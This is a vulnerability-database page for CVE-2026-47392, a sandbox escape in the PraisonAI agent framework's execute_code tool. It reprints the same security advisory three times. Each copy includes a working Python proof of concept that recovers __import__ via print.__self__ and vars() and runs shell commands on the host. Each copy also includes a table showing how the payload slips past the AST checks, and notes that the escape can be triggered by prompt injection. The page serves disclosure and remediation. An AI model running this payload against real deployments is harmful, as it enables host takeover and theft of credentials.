CVE-2026-47392

criticalPriorität · verfolgen · 0EPSS 0.009 · 59. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.88% (59th) EPSS
CVSS 9.9 · critical
Is it mine?
4 products
Prüfe deine Angriffsfläche
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · bewertet 2026-10-27

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain an updated fix.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

9.9
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.19.9criticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:Hsecondary · ENISA EU
v3.19.9criticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 3.1 · Auswirkung 6
v3.19.9criticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:Hsecondary · OSV
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (4)

Betroffene Produkte und Versionsbereiche.

05

Advisories (3)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-4mr5-g6f9-cfrhPraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)2026-05-29ghsa · osvUS

    ## Summary `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). --- ## Severity **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical** --- ## Root Cause Three independent gaps in the AST-based security validation: ### Gap 1: `__self__` missing from `_blocked_attrs` In CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `<module 'builtins' (built-in)>`. The `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes. ### Gap 2: `vars` not blocked as callable or attribute `builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access. So `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` — a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc. ### Gap 3: AST `Call` check only catches `ast.Name` nodes The dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` — i.e., bare-name calls like `exec(...)`. It does NOT catch: - Attribute calls: `b.exec(...)` — func is `ast.Attribute` - Subscript calls: `d["exec"](...)` — func is `ast.Subscript` ### Gap 4: Runtime string construction bypasses string constant check The string constant check (line 92-98) catches literals like `"__import__"`, but NOT runtime concatenation like `"_" + "_" + "import" + "_" + "_"`. The AST sees 5 separate `Constant` nodes (`"_"`, `"_"`, `"import"`, `"_"`, `"_"`), none of which contain any blocked attr as a substring. --- ## Proof of Concept ```python from praisonaiagents.tools.python_tools import execute_code # Exploit: 4 lines, bypasses ALL security layers payload = """ b = print.__self__ d = b.vars(b) key = "_" + "_" + "import" + "_" + "_" imp = d[key] mod = imp("os") print(mod.popen("id").read()) """ result = execute_code(code=payload) print(result) # Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True} ``` ### Step-by-step bypass analysis: | Line | AST node | Check | Result | |---|---|---|---| | `print.__self__` | `Attribute(attr='__self__')` | `__self__` in `_blocked_attrs`? | **NO** → passes | | `b.vars` | `Attribute(attr='vars')` | `vars` in `_blocked_attrs`? | **NO** → passes | | `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** → passes | | `"_"`, `"import"` | `Constant(value=str)` | Contains blocked attr? | **NO** → passes | | `d[key]` | `Subscript` | Not checked | passes | | `imp("os")` | `Call(func=Name('imp'))` | `imp` in blocked calls? | **NO** → passes | **Result: Full sandbox escape → arbitrary command execution** --- ## Impact An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can: - Execute arbitrary commands on the host system - Read/write any file accessible to the process - Exfiltrate environment variables, API keys, and credentials - Pivot to internal networks - Install persistent backdoors --- ## Affected - **Package**: `praisonaiagents` (PyPI) - **Affected versions**: All versions through 1.6.37 (latest) - **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function - **Default configuration affected**: Yes (`sandbox_mode="sandbox"` is the default) --- ## Remediation ### Immediate fix Add `__self__` to `_blocked_attrs`: ```python _blocked_attrs = frozenset({ ..., '__self__', # Built-in functions leak their parent module }) ``` ### Additional hardening 1. Block `vars` in the callable blocklist 2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes 3. Add AST check for `BinOp` string concatenation that could construct blocked attr names ### Fundamental recommendation Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using `isolated-vm` (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution

  • PYSEC-2026-463PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)2026-06-29vendor · osvUS

    ## Summary `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). --- ## Severity **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical** --- ## Root Cause Three independent gaps in the AST-based security validation: ### Gap 1: `__self__` missing from `_blocked_attrs` In CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `<module 'builtins' (built-in)>`. The `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes. ### Gap 2: `vars` not blocked as callable or attribute `builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access. So `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` — a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc. ### Gap 3: AST `Call` check only catches `ast.Name` nodes The dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` — i.e., bare-name calls like `exec(...)`. It does NOT catch: - Attribute calls: `b.exec(...)` — func is `ast.Attribute` - Subscript calls: `d["exec"](...)` — func is `ast.Subscript` ### Gap 4: Runtime string construction bypasses string constant check The string constant check (line 92-98) catches literals like `"__import__"`, but NOT runtime concatenation like `"_" + "_" + "import" + "_" + "_"`. The AST sees 5 separate `Constant` nodes (`"_"`, `"_"`, `"import"`, `"_"`, `"_"`), none of which contain any blocked attr as a substring. --- ## Proof of Concept ```python from praisonaiagents.tools.python_tools import execute_code # Exploit: 4 lines, bypasses ALL security layers payload = """ b = print.__self__ d = b.vars(b) key = "_" + "_" + "import" + "_" + "_" imp = d[key] mod = imp("os") print(mod.popen("id").read()) """ result = execute_code(code=payload) print(result) # Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True} ``` ### Step-by-step bypass analysis: | Line | AST node | Check | Result | |---|---|---|---| | `print.__self__` | `Attribute(attr='__self__')` | `__self__` in `_blocked_attrs`? | **NO** → passes | | `b.vars` | `Attribute(attr='vars')` | `vars` in `_blocked_attrs`? | **NO** → passes | | `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** → passes | | `"_"`, `"import"` | `Constant(value=str)` | Contains blocked attr? | **NO** → passes | | `d[key]` | `Subscript` | Not checked | passes | | `imp("os")` | `Call(func=Name('imp'))` | `imp` in blocked calls? | **NO** → passes | **Result: Full sandbox escape → arbitrary command execution** --- ## Impact An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can: - Execute arbitrary commands on the host system - Read/write any file accessible to the process - Exfiltrate environment variables, API keys, and credentials - Pivot to internal networks - Install persistent backdoors --- ## Affected - **Package**: `praisonaiagents` (PyPI) - **Affected versions**: All versions through 1.6.37 (latest) - **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function - **Default configuration affected**: Yes (`sandbox_mode="sandbox"` is the default) --- ## Remediation ### Immediate fix Add `__self__` to `_blocked_attrs`: ```python _blocked_attrs = frozenset({ ..., '__self__', # Built-in functions leak their parent module }) ``` ### Additional hardening 1. Block `vars` in the callable blocklist 2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes 3. Add AST check for `BinOp` string concatenation that could construct blocked attr names ### Fundamental recommendation Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using `isolated-vm` (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution

  • PYSEC-2026-483PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)2026-06-29vendor · osvUS

    ## Summary `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). --- ## Severity **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical** --- ## Root Cause Three independent gaps in the AST-based security validation: ### Gap 1: `__self__` missing from `_blocked_attrs` In CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `<module 'builtins' (built-in)>`. The `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes. ### Gap 2: `vars` not blocked as callable or attribute `builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access. So `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` — a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc. ### Gap 3: AST `Call` check only catches `ast.Name` nodes The dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` — i.e., bare-name calls like `exec(...)`. It does NOT catch: - Attribute calls: `b.exec(...)` — func is `ast.Attribute` - Subscript calls: `d["exec"](...)` — func is `ast.Subscript` ### Gap 4: Runtime string construction bypasses string constant check The string constant check (line 92-98) catches literals like `"__import__"`, but NOT runtime concatenation like `"_" + "_" + "import" + "_" + "_"`. The AST sees 5 separate `Constant` nodes (`"_"`, `"_"`, `"import"`, `"_"`, `"_"`), none of which contain any blocked attr as a substring. --- ## Proof of Concept ```python from praisonaiagents.tools.python_tools import execute_code # Exploit: 4 lines, bypasses ALL security layers payload = """ b = print.__self__ d = b.vars(b) key = "_" + "_" + "import" + "_" + "_" imp = d[key] mod = imp("os") print(mod.popen("id").read()) """ result = execute_code(code=payload) print(result) # Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True} ``` ### Step-by-step bypass analysis: | Line | AST node | Check | Result | |---|---|---|---| | `print.__self__` | `Attribute(attr='__self__')` | `__self__` in `_blocked_attrs`? | **NO** → passes | | `b.vars` | `Attribute(attr='vars')` | `vars` in `_blocked_attrs`? | **NO** → passes | | `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** → passes | | `"_"`, `"import"` | `Constant(value=str)` | Contains blocked attr? | **NO** → passes | | `d[key]` | `Subscript` | Not checked | passes | | `imp("os")` | `Call(func=Name('imp'))` | `imp` in blocked calls? | **NO** → passes | **Result: Full sandbox escape → arbitrary command execution** --- ## Impact An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can: - Execute arbitrary commands on the host system - Read/write any file accessible to the process - Exfiltrate environment variables, API keys, and credentials - Pivot to internal networks - Install persistent backdoors --- ## Affected - **Package**: `praisonaiagents` (PyPI) - **Affected versions**: All versions through 1.6.37 (latest) - **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function - **Default configuration affected**: Yes (`sandbox_mode="sandbox"` is the default) --- ## Remediation ### Immediate fix Add `__self__` to `_blocked_attrs`: ```python _blocked_attrs = frozenset({ ..., '__self__', # Built-in functions leak their parent module }) ``` ### Additional hardening 1. Block `vars` in the callable blocklist 2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes 3. Add AST check for `BinOp` string concatenation that could construct blocked attr names ### Fundamental recommendation Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using `isolated-vm` (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution

06

auch bekannt als (8)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-07-21geändert 2026-07-21
08

Referenzen (10)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan